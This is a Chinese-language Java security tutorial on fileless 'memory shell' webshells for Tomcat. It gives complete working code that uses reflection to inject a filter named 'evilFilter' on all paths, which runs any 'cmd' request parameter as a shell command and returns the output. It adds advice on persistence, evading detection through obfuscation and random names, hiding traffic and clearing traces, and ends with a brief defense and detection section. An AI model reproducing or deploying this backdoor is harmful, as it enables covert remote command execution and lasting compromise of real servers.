Java安全-记一次实战使用memoryshell
字数 1494 2025-08-06 18:07:54
Java安全实战:使用内存马(Memory Shell)进行权限维持
1. 内存马概述
内存马(Memory Shell)是一种驻留在服务器内存中的WebShell,与传统文件型WebShell不同,它不依赖磁盘上的脚本文件,具有以下特点:
- 无文件落地:不写入磁盘,规避常规文件扫描
- 隐蔽性强:难以通过静态文件检测发现
- 动态注入:通过运行时修改内存中的Web组件实现
- 存活周期:随应用重启而消失(持久化需特殊处理)
2. 内存马适用场景
- 命令执行到代码执行的过渡:当仅有命令执行权限而无直接代码执行能力时
- 规避文件检测:目标系统有严格的文件上传检测机制
- 权限维持:作为后门保持对系统的持续访问
- 绕过WAF:避免触发基于文件特征的WebShell检测
3. 内存马技术实现原理
3.1 Java Web请求处理流程
HTTP Request → Web容器(如Tomcat) → Filter链 → Servlet → Response
内存马通过动态插入恶意组件到上述流程的关键节点实现请求拦截。
3.2 常见内存马类型
- Filter型内存马:动态注册恶意Filter
- Servlet型内存马:动态注册恶意Servlet
- Controller型内存马:针对Spring框架的动态Controller
- Interceptor型内存马:针对Spring拦截器
- Agent型内存马:通过Java Agent机制注入
4. Filter型内存马实战实现
4.1 核心实现步骤
// 1. 获取StandardContext对象
ServletContext servletContext = request.getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext appContext = (ApplicationContext) appContextField.get(servletContext);
Field stdContextField = appContext.getClass().getDeclaredField("context");
stdContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdContextField.get(appContext);
// 2. 创建恶意Filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) {}
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
// 恶意代码逻辑
HttpServletRequest request = (HttpServletRequest) req;
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
res.getWriter().write(output);
return;
} catch (Exception e) {}
}
chain.doFilter(req, res);
}
@Override
public void destroy() {}
};
// 3. 创建FilterDef并设置属性
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 4. 创建FilterMap并设置URL映射
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
// 5. 注册Filter实例
FilterConfig filterConfig = new ApplicationFilterConfig(standardContext, filterDef);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);
4.2 关键技术点
- 反射机制:通过反射获取Tomcat内部对象(StandardContext等)
- Filter链操作:动态添加Filter到处理链最前位置
- 命令执行兼容性:根据操作系统类型自动适配命令执行方式
- URL模式匹配:配置"/*"匹配所有请求路径
5. 内存马高级应用
5.1 内存马持久化技术
- 利用Tomcat的Context配置:修改context.xml实现重启后依然生效
- 动态注册Servlet:结合Servlet型内存马实现双保险
- 利用JMX:通过JMX接口动态管理Web应用组件
5.2 反检测技术
- 随机Filter名称:避免固定名称被规则检测
- 动态路径匹配:不固定为"/*",使用更隐蔽的路径
- 代码混淆:对内存马代码进行动态混淆
- 条件触发:设置特定条件才激活恶意功能
6. 防御与检测方案
6.1 防御措施
- 禁用JSP动态编译:防止通过JSP注入内存马
- 限制反射调用:通过SecurityManager限制敏感操作
- 最小权限原则:应用运行使用最低必要权限
- 定期重启服务:清除潜在的内存马
6.2 检测方法
- 内存扫描:使用Java Agent技术扫描内存中的可疑组件
- 行为监控:监控动态组件注册行为
- Filter链分析:定期检查Filter链中的可疑Filter
- 流量分析:检测异常请求模式和响应特征
7. 实战注意事项
- 环境适配:不同中间件版本实现可能有差异,需调整反射代码
- 权限问题:确保执行用户有足够权限进行组件注册
- 异常处理:妥善处理反射可能抛出的异常
- 隐蔽通信:建议对通信内容进行加密或编码
- 清理痕迹:操作完成后清除命令执行产生的临时对象
8. 扩展思考
- 结合反序列化漏洞:通过反序列化漏洞直接注入内存马
- 多组件协同:同时植入Filter和Servlet形成冗余后门
- 跨应用注入:在共享容器环境下影响其他应用
- 云原生环境适配:针对Spring Boot等嵌入式容器的特殊处理
通过本文介绍的技术原理和实现方案,安全研究人员可以深入理解内存马的工作机制,既可用于渗透测试中的权限维持,也能帮助防御方更好地检测和防范此类攻击。